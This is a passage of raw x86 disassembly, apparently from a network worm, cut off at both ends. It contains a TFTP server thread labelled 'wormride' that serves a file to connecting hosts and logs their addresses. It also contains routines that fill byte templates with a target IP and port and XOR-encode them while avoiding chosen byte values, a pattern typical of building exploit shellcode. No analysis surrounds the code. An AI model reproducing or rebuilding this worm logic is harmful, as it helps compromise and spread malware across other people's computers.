[ebp+var_10C] call sub_416B96 ; fseek add esp, 0Ch push [ebp+var_10C] call sub_416B76 ; ftell pop ecx mov [ebp+var_4], eax push 0 push 0 push [ebp+var_10C] call sub_416B96 ; fseek add esp, 0Ch push 80h push 0 lea eax, [ebp+var_19C] push eax call sub_416B6A ; memset add esp, 0Ch loc_411F66: ; CODE XREF: sub_411DC5:loc_412084j ; sub_411DC5:loc_4123C6j mov [ebp+var_B64], 1 and [ebp+var_B60], 0 and [ebp+var_B5C], 0 loc_411F7E: ; CODE XREF: sub_411DC5+234j and [ebp+var_B68], 0 jmp short loc_411F94 ; --------------------------------------------------------------------------- loc_411F87: ; CODE XREF: sub_411DC5:loc_411FB9j mov eax, [ebp+var_B68] inc eax mov [ebp+var_B68], eax loc_411F94: ; CODE XREF: sub_411DC5+1C0j mov eax, [ebp+var_B68] cmp eax, [ebp+var_B5C] jnb short loc_411FBB mov eax, [ebp+var_B68] mov eax, [ebp+eax*4+var_B58] cmp eax, [ebp+var_108] jnz short loc_411FB9 jmp short loc_411FBB ; --------------------------------------------------------------------------- loc_411FB9: ; CODE XREF: sub_411DC5+1F0j jmp short loc_411F87 ; --------------------------------------------------------------------------- loc_411FBB: ; CODE XREF: sub_411DC5+1DBj ; sub_411DC5+1F2j mov eax, [ebp+var_B68] cmp eax, [ebp+var_B5C] jnz short loc_411FF5 cmp [ebp+var_B5C], 200h jnb short loc_411FF5 mov eax, [ebp+var_B68] mov ecx, [ebp+var_108] mov [ebp+eax*4+var_B58], ecx mov eax, [ebp+var_B5C] inc eax mov [ebp+var_B5C], eax loc_411FF5: ; CODE XREF: sub_411DC5+202j ; sub_411DC5+20Ej xor eax, eax test eax, eax jnz short loc_411F7E lea eax, [ebp+var_B64] push eax push 0 push 0 lea eax, [ebp+var_B5C] push eax push 0 call ds:dword_41722C ; select test eax, eax jle loc_4123B8 mov [ebp+var_D84], 10h mov al, ds:byte_41DF00 mov [ebp+var_D70], al mov ecx, 80h xor eax, eax lea edi, [ebp+var_D6F] rep stosd stosw stosb lea eax, [ebp+var_D84] push eax lea eax, [ebp+var_D80] push eax push 0 push 80h lea eax, [ebp+var_19C] push eax push [ebp+var_108] call ds:dword_417258 ; recvfrom mov [ebp+var_B6C], eax cmp [ebp+var_B6C], 0 jz short loc_412084 cmp [ebp+var_B6C], 0FFFFFFFFh jnz short loc_412089 loc_412084: ; CODE XREF: sub_411DC5+2B4j jmp loc_411F66 ; --------------------------------------------------------------------------- loc_412089: ; CODE XREF: sub_411DC5+2BDj movsx eax, [ebp+var_19C] test eax, eax jnz loc_4121C0 movsx eax, [ebp+var_19B] cmp eax, 1 jnz loc_4121C0 lea eax, [ebp+var_19C] mov [ebp+var_D88], eax lea eax, [ebp+var_19C] mov [ebp+var_D8C], eax mov eax, [ebp+var_D88] inc eax inc eax mov [ebp+var_D88], eax mov eax, [ebp+var_D8C] inc eax inc eax mov [ebp+var_D8C], eax push [ebp+var_D8C] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+var_D8C] lea eax, [ecx+eax+1] mov [ebp+var_D8C], eax push offset aOctet ; "octet" call sub_416B40 ; strlen pop ecx push eax push [ebp+var_D8C] push offset aOctet ; "octet" call sub_416BF0 ; strncmp add esp, 0Ch test eax, eax jz short loc_41213F push [ebp+var_D84] lea eax, [ebp+var_D80] push eax push 0 push 13h push offset dword_41C76C push [ebp+var_108] call ds:dword_417250 ; sendto jmp short loc_4121BB ; --------------------------------------------------------------------------- loc_41213F: ; CODE XREF: sub_411DC5+354j push 0 push 0 push [ebp+var_10C] call sub_416B96 ; fseek add esp, 0Ch and [ebp+var_D70], 0 mov [ebp+var_D6F], 3 and [ebp+var_D6E], 0 mov [ebp+var_D6D], 1 push [ebp+var_10C] push 200h push 1 lea eax, [ebp+var_D6C] push eax call sub_416B90 ; fread add esp, 10h mov [ebp+var_D90], eax push [ebp+var_D84] lea eax, [ebp+var_D80] push eax push 0 mov eax, [ebp+var_D90] add eax, 4 push eax lea eax, [ebp+var_D70] push eax push [ebp+var_108] call ds:dword_417250 ; sendto loc_4121BB: ; CODE XREF: sub_411DC5+378j jmp loc_4123B8 ; --------------------------------------------------------------------------- loc_4121C0: ; CODE XREF: sub_411DC5+2CDj ; sub_411DC5+2DDj movsx eax, [ebp+var_19C] test eax, eax jnz loc_412396 movsx eax, [ebp+var_19B] cmp eax, 4 jnz loc_412396 mov al, [ebp+var_19A] mov [ebp+var_DA0], al mov al, [ebp+var_199] mov [ebp+var_D98], al and [ebp+var_D70], 0 mov [ebp+var_D6F], 3 movzx eax, [ebp+var_D98] cmp eax, 0FFh jnz short loc_412242 mov al, [ebp+var_DA0] add al, 1 mov [ebp+var_DA0], al mov al, [ebp+var_DA0] mov [ebp+var_D6E], al and [ebp+var_D98], 0 mov al, [ebp+var_D98] mov [ebp+var_D6D], al jmp short loc_412268 ; --------------------------------------------------------------------------- loc_412242: ; CODE XREF: sub_411DC5+44Cj mov al, [ebp+var_DA0] mov [ebp+var_D6E], al mov al, [ebp+var_D98] add al, 1 mov [ebp+var_D98], al mov al, [ebp+var_D98] mov [ebp+var_D6D], al loc_412268: ; CODE XREF: sub_411DC5+47Bj movzx eax, [ebp+var_DA0] shl eax, 8 movzx ecx, [ebp+var_D98] lea eax, [eax+ecx-1] mov [ebp+var_D9C], eax push 0 mov eax, [ebp+var_D9C] shl eax, 9 push eax push [ebp+var_10C] call sub_416B96 ; fseek add esp, 0Ch push [ebp+var_10C] push 200h push 1 lea eax, [ebp+var_D6C] push eax call sub_416B90 ; fread add esp, 10h mov [ebp+var_D94], eax push [ebp+var_D84] lea eax, [ebp+var_D80] push eax push 0 mov eax, [ebp+var_D94] add eax, 4 push eax lea eax, [ebp+var_D70] push eax push [ebp+var_108] call ds:dword_417250 ; sendto cmp [ebp+var_D94], 0 jnz loc_412394 mov eax, [ebp+var_D9C] shl eax, 9 cmp eax, [ebp+var_4] jb loc_412394 mov eax, [ebp+var_D7C] mov [ebp+var_DA8], eax push [ebp+var_DA8] push offset dword_41EBE0 call sub_409C9D pop ecx pop ecx mov [ebp+var_DA4], eax mov eax, [ebp+var_DA4] cmp eax, [ebp+var_DA8] jz short loc_412394 push 1 push offset dword_41EBE4 call sub_409C88 pop ecx pop ecx mov [ebp+var_DAC], eax push 10h push [ebp+var_D7C] call ds:dword_41721C ; inet_ntoa push eax lea eax, [ebp+var_11C] push eax call sub_407A56 add esp, 0Ch lea eax, [ebp+var_11C] push eax mov eax, [ebp+var_DAC] inc eax push eax push offset aWormride ; "wormride" push offset unk_41C730 push offset dword_41DB88 call sub_40D4AB add esp, 14h loc_412394: ; CODE XREF: sub_411DC5+52Dj ; sub_411DC5+53Fj ... jmp short loc_4123B8 ; --------------------------------------------------------------------------- loc_412396: ; CODE XREF: sub_411DC5+404j ; sub_411DC5+414j push [ebp+var_D84] lea eax, [ebp+var_D80] push eax push 0 push 9 push offset dword_41C724 push [ebp+var_108] call ds:dword_417250 ; sendto loc_4123B8: ; CODE XREF: sub_411DC5+252j ; sub_411DC5:loc_4121BBj ... mov eax, [ebp+var_358] cmp dword ptr [eax+4], 0 jz short loc_4123C6 jmp short loc_4123CB ; --------------------------------------------------------------------------- loc_4123C6: ; CODE XREF: sub_411DC5+5FDj jmp loc_411F66 ; --------------------------------------------------------------------------- loc_4123CB: ; CODE XREF: sub_411DC5+5FFj push [ebp+var_10C] call sub_416B82 ; fclose pop ecx push [ebp+var_108] call ds:dword_417230 ; closesocket push [ebp+var_358] call sub_409763 pop ecx xor eax, eax loc_4123F1: ; CODE XREF: sub_411DC5+53j ; sub_411DC5+F8j ... pop edi leave retn 4 sub_411DC5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4123F6 proc near ; CODE XREF: sub_40A9CF+726p ; sub_40A9CF+742p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 1A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_412410 jmp short locret_412446 ; --------------------------------------------------------------------------- loc_412410: ; CODE XREF: sub_4123F6+16j push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_405F67 pop ecx pop ecx push offset aTftpWormrideTh ; "TFTP wormride thread" mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+18Bh] neg eax sbb eax, eax inc eax push eax push [ebp+var_4] push offset sub_411DC5 call sub_4095A4 add esp, 10h locret_412446: ; CODE XREF: sub_4123F6+18j leave retn sub_4123F6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412448 proc near ; CODE XREF: sub_4125DF+88p ; sub_4125DF+ADp ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h push ebp mov ebp, esp push ecx push ecx and [ebp+var_4], 0 jmp short loc_41245A ; --------------------------------------------------------------------------- loc_412453: ; CODE XREF: sub_412448:loc_41249Aj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_41245A: ; CODE XREF: sub_412448+9j mov eax, [ebp+var_4] cmp eax, [ebp+arg_4] jnb short loc_41249C and [ebp+var_8], 0 jmp short loc_41246F ; --------------------------------------------------------------------------- loc_412468: ; CODE XREF: sub_412448:loc_412498j mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_41246F: ; CODE XREF: sub_412448+1Ej mov eax, [ebp+var_8] cmp eax, [ebp+arg_C] jnb short loc_41249A mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] movsx ecx, [ebp+arg_10] xor eax, ecx mov ecx, [ebp+arg_8] add ecx, [ebp+var_8] movsx ecx, byte ptr [ecx] cmp eax, ecx jnz short loc_412498 push 1 pop eax jmp short locret_41249E ; --------------------------------------------------------------------------- loc_412498: ; CODE XREF: sub_412448+49j jmp short loc_412468 ; --------------------------------------------------------------------------- loc_41249A: ; CODE XREF: sub_412448+2Dj jmp short loc_412453 ; --------------------------------------------------------------------------- loc_41249C: ; CODE XREF: sub_412448+18j xor eax, eax locret_41249E: ; CODE XREF: sub_412448+4Ej leave retn sub_412448 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4124A0 proc near ; CODE XREF: sub_4125DF+36p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 10h and [ebp+var_4], 0 and [ebp+var_10], 0 and [ebp+var_8], 0 and [ebp+var_C], 0 cmp [ebp+arg_8], 1 jnz short loc_41250C cmp [ebp+arg_4], 0B2h jnb short loc_4124CC xor eax, eax jmp locret_4125DD ; --------------------------------------------------------------------------- loc_4124CC: ; CODE XREF: sub_4124A0+23j mov [ebp+var_C], 0B2h push [ebp+var_C] push offset dword_41C964 push [ebp+arg_0] call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+arg_0] add eax, 8Fh mov [ebp+var_4], eax mov eax, [ebp+arg_0] add eax, 88h mov [ebp+var_10], eax mov eax, [ebp+arg_0] add eax, 0ACh mov [ebp+var_8], eax jmp loc_41259C ; --------------------------------------------------------------------------- loc_41250C: ; CODE XREF: sub_4124A0+1Aj cmp [ebp+arg_8], 2 jnz short loc_412554 cmp [ebp+arg_4], 0C6h jnb short loc_412522 xor eax, eax jmp locret_4125DD ; --------------------------------------------------------------------------- loc_412522: ; CODE XREF: sub_4124A0+79j mov [ebp+var_C], 0C6h push [ebp+var_C] push offset dword_41C89C push [ebp+arg_0] call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+arg_0] add eax, 89h mov [ebp+var_10], eax mov eax, [ebp+arg_0] add eax, 0C0h mov [ebp+var_8], eax jmp short loc_41259C ; --------------------------------------------------------------------------- loc_412554: ; CODE XREF: sub_4124A0+70j cmp [ebp+arg_4], 0B2h jnb short loc_412561 xor eax, eax jmp short locret_4125DD ; --------------------------------------------------------------------------- loc_412561: ; CODE XREF: sub_4124A0+BBj mov [ebp+var_C], 0B2h push [ebp+var_C] push offset dword_41C7E8 push [ebp+arg_0] call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+arg_0] add eax, 86h mov [ebp+var_4], eax mov eax, [ebp+arg_0] add eax, 8Dh mov [ebp+var_10], eax mov eax, [ebp+arg_0] add eax, 0ACh mov [ebp+var_8], eax loc_41259C: ; CODE XREF: sub_4124A0+67j ; sub_4124A0+B2j cmp [ebp+var_4], 0 jz short loc_4125B0 push [ebp+arg_C] call ds:dword_417244 ; inet_addr mov ecx, [ebp+var_4] mov [ecx], eax loc_4125B0: ; CODE XREF: sub_4124A0+100j cmp [ebp+var_10], 0 jz short loc_4125CC push [ebp+arg_10] call sub_416B9C ; atoi pop ecx push eax call ds:dword_417238 ; htons mov ecx, [ebp+var_10] mov [ecx], ax loc_4125CC: ; CODE XREF: sub_4124A0+114j cmp [ebp+var_8], 0 jz short loc_4125DA mov eax, [ebp+var_8] mov ecx, [ebp+arg_14] mov [eax], ecx loc_4125DA: ; CODE XREF: sub_4124A0+130j mov eax, [ebp+var_C] locret_4125DD: ; CODE XREF: sub_4124A0+27j ; sub_4124A0+7Dj ... leave retn sub_4124A0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4125DF proc near ; CODE XREF: sub_410649+8Bp ; sub_410B52+41p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 1Ch cmp [ebp+arg_4], 1Ch jnb short loc_4125F2 xor eax, eax jmp locret_41271E ; --------------------------------------------------------------------------- loc_4125F2: ; CODE XREF: sub_4125DF+Aj mov eax, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_0] add eax, 1Ch mov [ebp+var_4], eax push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push 1E4h push [ebp+var_4] call sub_4124A0 add esp, 18h mov [ebp+var_14], eax cmp [ebp+var_14], 0 jnz short loc_41262D xor eax, eax jmp locret_41271E ; --------------------------------------------------------------------------- loc_41262D: ; CODE XREF: sub_4125DF+45j push 1Ch push offset loc_41C7C8 push [ebp+var_10] call sub_416B52 ; memcpy add esp, 0Ch mov eax, ds:dword_41CB98 mov [ebp+var_8], eax jmp short loc_412659 ; --------------------------------------------------------------------------- loc_412649: ; CODE XREF: sub_4125DF+94j ; sub_4125DF:loc_41269Aj call sub_410422 mov [ebp+var_8], eax mov eax, [ebp+var_8] mov ds:dword_41CB98, eax loc_412659: ; CODE XREF: sub_4125DF+68j push 0 push [ebp+arg_1C] push [ebp+arg_18] push 4 lea eax, [ebp+var_8] push eax call sub_412448 add esp, 14h test eax, eax jz short loc_412675 jmp short loc_412649 ; --------------------------------------------------------------------------- loc_412675: ; CODE XREF: sub_4125DF+92j mov eax, [ebp+var_14] xor eax, [ebp+var_8] mov [ebp+var_1C], eax push 0 push [ebp+arg_1C] push [ebp+arg_18] push 4 lea eax, [ebp+var_1C] push eax call sub_412448 add esp, 14h test eax, eax jnz short loc_41269A jmp short loc_41269C ; --------------------------------------------------------------------------- loc_41269A: ; CODE XREF: sub_4125DF+B7j jmp short loc_412649 ; --------------------------------------------------------------------------- loc_41269C: ; CODE XREF: sub_4125DF+B9j mov eax, [ebp+var_10] mov ecx, [ebp+var_8] mov [eax+3], ecx mov eax, [ebp+var_10] mov ecx, [ebp+var_1C] mov [eax+9], ecx mov al, ds:byte_41CB95 mov byte ptr [ebp+var_C], al jmp short loc_4126C8 ; --------------------------------------------------------------------------- loc_4126B8: ; CODE XREF: sub_4125DF+104j call sub_410461 mov byte ptr [ebp+var_C], al mov al, byte ptr [ebp+var_C] mov ds:byte_41CB95, al loc_4126C8: ; CODE XREF: sub_4125DF+D7j push [ebp+var_C] push [ebp+arg_1C] push [ebp+arg_18] push [ebp+var_14] push [ebp+var_4] call sub_412448 add esp, 14h test eax, eax jz short loc_4126E5 jmp short loc_4126B8 ; --------------------------------------------------------------------------- loc_4126E5: ; CODE XREF: sub_4125DF+102j mov eax, [ebp+var_10] mov cl, byte ptr [ebp+var_C] mov [eax+12h], cl and [ebp+var_18], 0 jmp short loc_4126FB ; --------------------------------------------------------------------------- loc_4126F4: ; CODE XREF: sub_4125DF+137j mov eax, [ebp+var_18] inc eax mov [ebp+var_18], eax loc_4126FB: ; CODE XREF: sub_4125DF+113j mov eax, [ebp+var_18] cmp eax, [ebp+var_14] jnb short loc_412718 mov eax, [ebp+var_4] add eax, [ebp+var_18] mov al, [eax] xor al, byte ptr [ebp+var_C] mov ecx, [ebp+var_4] add ecx, [ebp+var_18] mov [ecx], al jmp short loc_4126F4 ; --------------------------------------------------------------------------- loc_412718: ; CODE XREF: sub_4125DF+122j mov eax, [ebp+var_14] add eax, 1Ch locret_41271E: ; CODE XREF: sub_4125DF+Ej ; sub_4125DF+49j leave retn sub_4125DF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412720 proc near ; CODE XREF: sub_412A3A+Cp ; sub_412BC9+DFp ... var_194 = dword ptr -194h var_190 = dword ptr -190h var_18C = byte ptr -18Ch var_E4 = byte ptr -0E4h var_10 = byte ptr -10h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 194h push 8 push 4 call sub_4103F5 pop ecx pop ecx mov [ebp+var_194], eax and [ebp+var_190], 0 loc_412741: ; CODE XREF: sub_412720:loc_41278Aj push 7Ah push 61h call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+var_190] mov [ebp+ecx+var_10], al mov eax, [ebp+var_190] inc eax mov [ebp+var_190], eax mov eax, [ebp+var_190] cmp eax, [ebp+var_194] jnz short loc_41278A push offset dword_418620 mov eax, [ebp+var_190] lea eax, [ebp+eax+var_10] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_41278C ; --------------------------------------------------------------------------- loc_41278A: ; CODE XREF: sub_412720+4Fj jmp short loc_412741 ; --------------------------------------------------------------------------- loc_41278C: ; CODE XREF: sub_412720+68j push 17Ch push offset dword_41CA18 lea eax, [ebp+var_18C] push eax call sub_416B52 ; memcpy add esp, 0Ch lea eax, [ebp+var_10] push eax lea eax, [ebp+var_E4] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx push 17Ch lea eax, [ebp+var_18C] push eax push [ebp+arg_0] call sub_4053BF add esp, 0Ch leave retn sub_412720 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4127D0 proc near ; CODE XREF: sub_412A3A+14Dp ; sub_412BC9+133p ... var_24C = byte ptr -24Ch var_22C = byte ptr -22Ch var_20C = dword ptr -20Ch var_208 = byte ptr -208h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 24Ch cmp ds:dword_41EBEC, 0 jnz loc_4128A0 mov ds:dword_41EBEC, 1 and [ebp+var_20C], 0 jmp short loc_412806 ; --------------------------------------------------------------------------- loc_4127F9: ; CODE XREF: sub_4127D0:loc_41289Bj mov eax, [ebp+var_20C] inc eax mov [ebp+var_20C], eax loc_412806: ; CODE XREF: sub_4127D0+27j mov eax, [ebp+var_20C] imul eax, 0Ch cmp ds:off_41DB18[eax], 0 jz loc_4128A0 push 20h mov eax, [ebp+var_20C] imul eax, 0Ch push ds:off_41DB18[eax] lea eax, [ebp+var_22C] push eax call sub_407A56 add esp, 0Ch push 20h mov eax, [ebp+var_20C] imul eax, 0Ch push ds:off_41CBA0[eax] lea eax, [ebp+var_24C] push eax call sub_407A56 add esp, 0Ch lea eax, [ebp+var_22C] push eax call sub_4105AD pop ecx lea eax, [ebp+var_24C] push eax call sub_4105AD pop ecx lea eax, [ebp+var_24C] push eax lea eax, [ebp+var_22C] push eax call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jz short loc_41289B mov ds:dword_41EBF0, 1 jmp short loc_4128A0 ; --------------------------------------------------------------------------- loc_41289B: ; CODE XREF: sub_4127D0+BDj jmp loc_4127F9 ; --------------------------------------------------------------------------- loc_4128A0: ; CODE XREF: sub_4127D0+10j ; sub_4127D0+46j ... cmp ds:dword_41EBF0, 0 jz short loc_4128AE push 1 pop eax jmp short locret_412917 ; --------------------------------------------------------------------------- loc_4128AE: ; CODE XREF: sub_4127D0+D7j push offset aRb ; "rb" push offset dword_41ED10 call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_4128CC xor eax, eax jmp short locret_412917 ; --------------------------------------------------------------------------- loc_4128CC: ; CODE XREF: sub_4127D0+F6j and [ebp+var_4], 0 loc_4128D0: ; CODE XREF: sub_4127D0+145j push [ebp+var_8] push 200h push 1 lea eax, [ebp+var_208] push eax call sub_416B90 ; fread add esp, 10h mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_412900 push [ebp+var_8] call sub_416B82 ; fclose pop ecx push 1 pop eax jmp short locret_412917 ; --------------------------------------------------------------------------- loc_412900: ; CODE XREF: sub_4127D0+120j push [ebp+var_4] lea eax, [ebp+var_208] push eax push [ebp+arg_0] call sub_4053BF add esp, 0Ch jmp short loc_4128D0 ; --------------------------------------------------------------------------- locret_412917: ; CODE XREF: sub_4127D0+DCj ; sub_4127D0+FAj ... leave retn sub_4127D0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412919 proc near ; CODE XREF: sub_412BC9+E8p ; sub_412D56+18p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push 0EA60h push [ebp+arg_0] call sub_40546E pop ecx pop ecx test eax, eax jnz short loc_412938 xor eax, eax jmp short locret_41294C ; --------------------------------------------------------------------------- loc_412938: ; CODE XREF: sub_412919+19j push 0 push 4 lea eax, [ebp+var_4] push eax push [ebp+arg_0] call ds:dword_417248 ; recv mov eax, [ebp+var_4] locret_41294C: ; CODE XREF: sub_412919+1Dj leave retn sub_412919 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41294E proc near ; CODE XREF: sub_412BC9+115p ; sub_412D56+3Bp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx and [ebp+var_4], 0 and [ebp+var_8], 0 jmp short loc_412964 ; --------------------------------------------------------------------------- loc_41295D: ; CODE XREF: sub_41294E:loc_4129C3j mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_412964: ; CODE XREF: sub_41294E+Dj mov eax, [ebp+var_8] imul eax, 3Ah cmp ds:off_41CDAE[eax], 0 jz short loc_4129C5 mov eax, [ebp+var_8] imul eax, 3Ah mov eax, ds:dword_41CDA6[eax] cmp eax, [ebp+arg_0] jnz short loc_4129C3 mov eax, [ebp+var_8] imul eax, 3Ah add eax, offset byte_41CD80 mov [ebp+var_4], eax push 3Ah mov eax, [ebp+var_8] imul eax, 3Ah add eax, offset byte_41CD80 push eax push [ebp+arg_4] call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_4] call sub_4105FB pop ecx mov eax, [ebp+arg_4] add eax, 13h push eax call sub_4105FB pop ecx jmp short loc_4129C5 ; --------------------------------------------------------------------------- loc_4129C3: ; CODE XREF: sub_41294E+34j jmp short loc_41295D ; --------------------------------------------------------------------------- loc_4129C5: ; CODE XREF: sub_41294E+23j ; sub_41294E+73j mov eax, [ebp+var_4] leave retn sub_41294E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4129CA proc near ; CODE XREF: sub_412A3A+16Bp ; sub_412BC9+15Ap ... var_104 = dword ptr -104h var_100 = byte ptr -100h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 104h push 1 mov eax, [ebp+arg_0] add eax, 2Ah push eax call sub_409C88 pop ecx pop ecx mov [ebp+var_104], eax lea eax, [ebp+var_100] push eax push [ebp+arg_8] call sub_4044F7 pop ecx pop ecx test eax, eax jnz short loc_412A11 push offset aUnknown ; "unknown" lea eax, [ebp+var_100] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx loc_412A11: ; CODE XREF: sub_4129CA+32j lea eax, [ebp+var_100] push eax mov eax, [ebp+var_104] inc eax push eax push [ebp+arg_C] push [ebp+arg_4] push offset dword_41A1D0 push offset dword_41DB88 call sub_40D4AB add esp, 18h leave retn sub_4129CA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412A3A proc near ; CODE XREF: sub_41331E+148p var_250 = dword ptr -250h var_24C = dword ptr -24Ch var_248 = byte ptr -248h var_235 = byte ptr -235h var_222 = dword ptr -222h var_20C = dword ptr -20Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 250h push [ebp+arg_4] call sub_412720 pop ecx push 3Ah push [ebp+arg_0] lea eax, [ebp+var_248] push eax call sub_416B52 ; memcpy add esp, 0Ch lea eax, [ebp+var_248] push eax call sub_4105FB pop ecx lea eax, [ebp+var_235] push eax call sub_4105FB pop ecx lea eax, [ebp+var_20C+3] mov [ebp+var_8], eax push 203h push 0 lea eax, [ebp+var_20C] push eax call sub_416B6A ; memset add esp, 0Ch and [ebp+var_4], 0 jmp short loc_412AA6 ; --------------------------------------------------------------------------- loc_412A9F: ; CODE XREF: sub_412A3A+8Aj ; sub_412A3A:loc_412B7Fj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_412AA6: ; CODE XREF: sub_412A3A+63j cmp [ebp+var_4], 3Ch jnz short loc_412AB1 jmp locret_412BC7 ; --------------------------------------------------------------------------- loc_412AB1: ; CODE XREF: sub_412A3A+70j push 3E8h push [ebp+arg_4] call sub_40546E pop ecx pop ecx test eax, eax jnz short loc_412AC6 jmp short loc_412A9F ; --------------------------------------------------------------------------- loc_412AC6: ; CODE XREF: sub_412A3A+88j push 200h push [ebp+var_8] push [ebp+arg_4] call sub_4053DC add esp, 0Ch mov [ebp+var_24C], eax cmp [ebp+var_24C], 0FFFFFFFFh jnz short loc_412AED jmp locret_412BC7 ; --------------------------------------------------------------------------- loc_412AED: ; CODE XREF: sub_412A3A+ACj cmp [ebp+var_24C], 0 jz short loc_412B69 and [ebp+var_250], 0 jmp short loc_412B0C ; --------------------------------------------------------------------------- loc_412AFF: ; CODE XREF: sub_412A3A:loc_412B34j mov eax, [ebp+var_250] inc eax mov [ebp+var_250], eax loc_412B0C: ; CODE XREF: sub_412A3A+C3j mov eax, [ebp+var_250] cmp eax, [ebp+var_24C] jnb short loc_412B36 mov eax, [ebp+var_250] mov eax, [ebp+eax+var_20C] cmp eax, [ebp+var_222] jnz short loc_412B34 jmp loc_412BC5 ; --------------------------------------------------------------------------- loc_412B34: ; CODE XREF: sub_412A3A+F3j jmp short loc_412AFF ; --------------------------------------------------------------------------- loc_412B36: ; CODE XREF: sub_412A3A+DEj push 3 mov eax, [ebp+var_24C] mov ecx, [ebp+var_8] lea eax, [ecx+eax-3] push eax lea eax, [ebp+var_20C] push eax call sub_416B52 ; memcpy add esp, 0Ch push 200h push 0 push [ebp+var_8] call sub_416B6A ; memset add esp, 0Ch jmp short loc_412B7F ; --------------------------------------------------------------------------- loc_412B69: ; CODE XREF: sub_412A3A+BAj push 203h push 0 lea eax, [ebp+var_20C] push eax call sub_416B6A ; memset add esp, 0Ch loc_412B7F: ; CODE XREF: sub_412A3A+12Dj jmp loc_412A9F ; --------------------------------------------------------------------------- loc_412B84: ; CODE XREF: sub_412A3A:loc_412BC5j push [ebp+arg_4] call sub_4127D0 pop ecx test eax, eax jnz short loc_412B93 jmp short locret_412BC7 ; --------------------------------------------------------------------------- loc_412B93: ; CODE XREF: sub_412A3A+155j push offset dword_41CD14 push [ebp+arg_4] lea eax, [ebp+var_248] push eax push [ebp+arg_0] call sub_4129CA add esp, 10h push 1 push [ebp+arg_4] call ds:dword_417200 ; shutdown push 3E8h call ds:dword_41709C ; Sleep jmp short locret_412BC7 ; --------------------------------------------------------------------------- loc_412BC5: ; CODE XREF: sub_412A3A+F5j jmp short loc_412B84 ; --------------------------------------------------------------------------- locret_412BC7: ; CODE XREF: sub_412A3A+72j ; sub_412A3A+AEj ... leave retn sub_412A3A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412BC9 proc near ; CODE XREF: sub_41331E+165p var_85C = dword ptr -85Ch var_858 = dword ptr -858h var_854 = dword ptr -854h var_850 = dword ptr -850h var_84C = byte ptr -84Ch var_810 = dword ptr -810h var_80C = dword ptr -80Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 85Ch push 0 push [ebp+arg_4] push [ebp+arg_0] call sub_404FE7 add esp, 0Ch mov [ebp+var_8], eax mov [ebp+var_854], 3Ch and [ebp+var_850], 0 and [ebp+var_810], 0 loc_412BFD: ; CODE XREF: sub_412BC9+A9j and [ebp+var_85C], 0 jmp short loc_412C13 ; --------------------------------------------------------------------------- loc_412C06: ; CODE 